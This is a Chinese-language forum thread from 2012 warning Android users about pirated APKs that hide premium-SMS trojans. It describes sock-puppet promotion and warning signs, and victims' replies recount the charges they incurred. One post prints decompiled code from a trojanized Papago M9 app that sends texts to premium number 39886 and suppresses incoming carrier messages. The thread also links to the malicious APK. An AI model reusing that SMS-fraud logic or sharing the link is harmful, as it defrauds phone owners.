JBTALKS.CC

标题: 【轉載】出现 Memory Low ?? 请不要下载一些来历不明的apk软件！ [打印本页]

作者: ~FrvErLveSy~ 时间: 2012-6-1 04:15 PM
标题: 【轉載】出现 Memory Low ?? 请不要下载一些来历不明的apk软件！
轉載自佳禮論壇》》》這裡

欢迎在其他论坛转发本帖

把这些骗子的发帖标题复制放在google搜索一下，你们就会发现最近在全国其他的论坛很多都是他们的“杰作”！看来他们真的赚了不少钱啊！这些发帖都有欺骗成分，因为是不能玩的，但他们又用自己的分身id自问自答的去欺骗别人说能玩，每打开一次就会付费一次，你能忍受他们如此继续的欺骗大家吗？所以我也欢迎其他的论坛朋友们，欢迎你们把这篇内容复制散发去其他论坛，作为一些警惕也是好的，谢谢！

===============================================

严重注意事项：

我们下载游戏或软件，尽量到一些有名气的或熟悉的软件网站，或者直接用手机上各种熟悉的热门手机市场下载。如果你看到一些论坛上有人发帖介绍apk安装软件，请不要随便就去安装，或许那些软件或游戏看起来没问题，而且可能还会有其他人在那边帮忙回帖说很好用什么的，但也很可能那些都是分身或同伙的一群人而已。

木马收费软件怎么查看？当然，如果懂程序，下载回来解开查看数据是最好的办法，但不是每个人都会这些。这时你只好自己细心一点检查了，暗藏木马的软件会比正常的原版软件要来的大，比如例子：一个正常的原装xx.apk软件本来只有500kb，突然你发现某人发的xx.apk却变成1.8mb！甚至有的会相差几mb！那就得注意，这些都是被修改过的apps或游戏安装软件。有了怀疑，那么当你安装软件的时候，就要好好看他的许可权限permission，注意查看是否有什么收费/sms/wifi/read write sd card等等或特别的注明，这样也可以减低中招的几率，除非他们敢敢把这个条规也隐瞒了。

发现已经中毒最简单的情况就是：安装了某xx问题软件后却不能打开运行，或者明明memory足够却一直显示memory记忆体不足，一些还会直接收到显示要收费的短信或收到了某收费服务的申请通过sms通知等等。当你到原帖留言不能打开时，甚至还会有“其他旁人”自导自演为你解说怎么做怎么安装，但其实无论怎么做都一样，你每运行一次你就要付一次钱，你已经被骗了，那些旁人都是骗子的分身。

通常这些人都注册新id来发帖，所以你会发现他们大部分都是新手会员，而且是突然到处各论坛都发相同标题内容的帖。所以如果你发现某新会员发可疑的不明软件，请不要随意安装，先问清楚软件来源，转发的肯定有来源，如果他不写来源或者说是他自己写的，又或者他回应支支吾吾的，那就更危险了，请不要下载安装，那大部分都是会发送购买讯息的隐藏木马收费软件，安装后每次打开，手机就会自动利用你的电话通过网络或短信要求注册某某付费服务的申请，然后持续每次运行将被征收金钱，直到你发短信去终止服务和卸载这软件为止。

请到2楼查看一些其中的例子，当你感到怀疑，你应该先查看这个人的信息，看看他是否怎样的会员，他什么时候注册的id，查看他最近有没有发帖和一直以来发帖的内容都是牵涉什么东西，这些可能会让你发现一些蛛丝马迹。当你真的觉得有问题时，你要做的事情就是举报通知版主们来验证处理，或查明对方软件来源。

Android小版： dnlelc

17-05-2012

作者: ~FrvErLveSy~ 时间: 2012-6-1 04:16 PM
本帖最后由 ~FrvErLveSy~ 于 2012-6-1 04:24 PM 编辑

欢迎在其他论坛转发本帖

把下面这些发帖的标题复制放在google搜索一下，你们就会发现最近在全国其他的论坛很多都是他们的“杰作”！看来他们真的赚了不少钱啊！这些发帖都有欺骗成分，因为是不能玩的，但他们又用自己的分身id自问自答的去欺骗别人说能玩，每打开一次就会付费一次，你能忍受他们如此继续的欺骗大家吗？所以我也欢迎其他的论坛朋友们，欢迎你们把这篇内容复制散发去其他论坛，作为一些警惕也是好的，谢谢！

以下都是一些木马的相关发帖标题和例子，其实还有不少的，不过我没有一一列明出来：
Android- 水果vs小鸟 Fruits vs.Birds (破解免费版）
【转帖】Android 游戏- 沙滩BIKINI少女 (完整版）可下载了！！
【分享】Android- 海龟冲浪Turtle Surf V1.0 (Full Version)
Android-炸弹超人 Bomb Toss (Full Version)
【android】Papago M9 破解完整版（马新地图）《转帖》注意回复的名字里面好多都是楼主自己人

[转帖] Blackmarket Alpha最新版, 下载游戏和Apps
这个不是cari论坛
[多媒体]
免费下载所有需付费的APPS和GAMES 【转帖】
这个不是cari论坛
【转帖】Android 游戏- 沙滩BIKINI少女 (完整版）
这个不是cari论坛。注意回复的名字里面好多都是楼主自己人
【转帖】Android 游戏- 沙滩BIKINI少女 (完整版）-可以下载了这个不是cari论坛，里面很多都是楼主自己人
Blackmarket Alpha最新版, 下载游戏和Apps
汽车导航GPS软件- Papago GPS M8 英文版 (马来西亚地图）
Android- 超级爆破捕鱼 Super Dynamite Fishing (破解免费版）
还有很多........................

现在取出其中一个转发过来的例子让大家看看：
[分享] 【android】Papago M9 破解完整版（马新地图）《转帖》

内容：
PAPAGO! M9 除了行车记录器的录影功能,为您的旅程提供双层安全保障外, 新一代引擎更将行车中最重要的路口左右转和各路段最高限速等资讯整合到地图内, 再结合国道和快速道路摄影机的即时资讯, 为您规划一条最安全和最舒适的路径。

•支援全国的3D地型图
•3D实景建筑地标
•行车记录器
•TTS(Text-to-Speech)路名播报指引
•道路门牌号码即时显示
•立体高架道路识别
注意：
他们修改的隐藏木马通常只改在安装程式apk里。
M9的apk安装包一般只有2mb左右，这个高达7mb，
我们有必要查看一下。
下载网址：
只是apk files: https://www.onlinefilefolder.com/1snJjKjMhAe377
测试：Samsung Galaxy S2运行中。。：

作者: ~FrvErLveSy~ 时间: 2012-6-1 04:17 PM
注意：
通常他们会自己申请几个ID自问自答，
吸引别人下载安装，做的很像真有其事一样。
这情形跟那些卖神药或突然在银行外捡到钱，跑过来跟你说见者有份的老千是一样的，会有旁人来接话引你上钩。

隐藏木马apk的解开：
由会员hkloke2000提供，解开这个apk数据后的证实它已经被反编译了，加入了隐藏收费数据：
安装了以下这被修改过的木马软件，你安装或打开了，甚至重启手机时，他都会发送SMS到某号码做一些隐藏的举动（以下的数据是设置发送SMS到39886，购买每次RM3.00的短信SMS服务，如果你“中毒”了，你需要发送STOP 到39886终止这个服务。）

被改过的apk files:  https://www.onlinefilefolder.com/1snJjKjMhAe377

=======================

39886.smsgateway.cc
<application android:label="@string/app_name" android:icon="@drawable/logo">
      <service android:name=".MyService">
         <intent-filter>
            <action android:name=".MyService" />
         </intent-filter>
      </service>
      <activity android:label="@string/app_name" android:name=".main">
         <intent-filter>
            <action android:name="android.intent.action.MAIN" />
            <category android:name="android.intent.category.LAUNCHER" />
         </intent-filter>
      </activity>
      <receiver android:name=".SMSReceive">
         <intent-filter android:priority="1000">

      <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
         </intent-filter>
      </receiver>
</application>

作者: ~FrvErLveSy~ 时间: 2012-6-1 04:17 PM
访问权
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.FLASHLIGHT" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.READ_SOCIAL_STREAM" />
<uses-permission android:name="android.permission.WRITE_SOCIAL_STREAM" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />

// Send SMS
public void onCreate(Bundle bundle)
{
      super.onCreate(bundle);
      getWindow().setFlags(1024, 1024);
      requestWindowFeature(1);
      setContentView(0x7f030000);
      save = new Obj_Save(this);
      sm = SmsManager.getDefault();
      if(save.loadInt("openApp"

< 10)
save.saveInt("openApp", 1 + save.loadInt("openApp"

);
if(save.loadInt("openApp"

== 10)
      {
         sm.sendTextMessage("39886", null, "on gha app01", null, null);
         sm.sendTextMessage("39886", null, "on hga app01", null, null);
         save.saveInt("openApp", 0);
      }
      handlerTimer.sendEmptyMessageDelayed(0, 15000L);
      isMyServiceRunning();
}

// Receive SMS
  public void onReceive(Context context, Intent intent)
{
      if("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction()))
      {
         Bundle bundle = intent.getExtras();
         if(bundle != null)
         {
            Object aobj[] = (Object[])bundle.get("pdus"

;
            int j = aobj.length;
            for(int i = 0; i < j; i++)
            {
                  String s = SmsMessage.createFromPdu((byte[])aobj).getOriginatingAddress();
                  if(!"37400".equals(s))
                  {
                     if(!"32626".equals(s))
                     {
                        if(!"39886".equals(s))
                        {
                              if("36670".equals(s))
                              {
                                 abortBroadcast();
                                 setResultData(null);
                              }
                        } else
                        {
                              abortBroadcast();
                              setResultData(null);
                        }
                     } else
                     {
                        abortBroadcast();
                        setResultData(null);
                     }
                  } else
                  {
                     abortBroadcast();
                     setResultData(null);

=====================

hkloke2000：

“ 其实每次当启动PAPAGO时,
它会自动开WIFI(如果没有开),
然后发送数据(如果可以连接),
然后关闭回Wifi.undefined  ”

“ 它会自动启动,即使你杀了它,当收到短信,
它也将重新自动启动,你可以使用此软件来阻止：
http://cforum2.cari.com.my/viewthread.php?tid=2722924 ”

作者: ~FrvErLveSy~ 时间: 2012-6-1 04:18 PM
本帖最后由 ~FrvErLveSy~ 于 2012-6-1 04:22 PM 编辑

話說樓主我中招了

就是之前有人在這裡發的Papago M9

才剛安裝就一直開不到就覺得奇怪就卸載了

結果check了一下balance

作者: abby0218 时间: 2012-7-2 12:09 AM
我也中招了!已经send了stop过去..
木马还在吗?需要uninstall papago m9??

作者: ~FrvErLveSy~ 时间: 2012-7-2 07:32 AM
回复 6# abby0218

一定要！！不然你send stop過去也沒用！它還是一樣會再active!

作者: abby0218 时间: 2012-7-2 09:08 PM

回复 abby0218

一定要！！不然你send stop過去也沒用！它還是一樣會再active!
~FrvErLveSy~ 发表于 2012-7-2 07:32 AM

已经uninstall了..一直帮我开wifi..电话整个没有电去..=.=

作者: ~FrvErLveSy~ 时间: 2012-7-2 10:35 PM
回复 8# abby0218

那就試看factory reset 吧。。

作者: abby0218 时间: 2012-7-3 12:29 AM

回复 abby0218

那就試看factory reset 吧。。
~FrvErLveSy~ 发表于 2012-7-2 10:35 PM

uninstall 过后没事了..气死我了,,

作者: Jki 时间: 2012-8-23 10:52 AM
话说我也中招了。。。
应该是几个月前的事了，我也有在这里看到然后安装papago，发现用不到后就立刻uninstalled了，
想不到还是一样中rm3的sms，还要到现在才发现。。。。最奇怪的是，我都没收到sms咧，可是digi就一直charge 钱。。。
我已经send stop all 到39886了，是不是就不会再charge钱了？因为我根本一早就已经卸装了啊。。。唉。。

作者: ~FrvErLveSy~ 时间: 2012-8-23 01:34 PM
回复 11# Jki

要send了stop all后才会停止扣钱哦

作者: Jki 时间: 2012-8-23 01:59 PM

回复 Jki

要send了stop all后才会停止扣钱哦
~FrvErLveSy~ 发表于 2012-8-23 01:34 PM

我已经send 了哦，那么他还会不会自己在reactivate的？

作者: ~FrvErLveSy~ 时间: 2012-8-23 06:41 PM
回复 13# Jki

send了之後只要沒在安裝那個app就不會了

欢迎光临 JBTALKS.CC (https://mobile.jbtalks.cc/)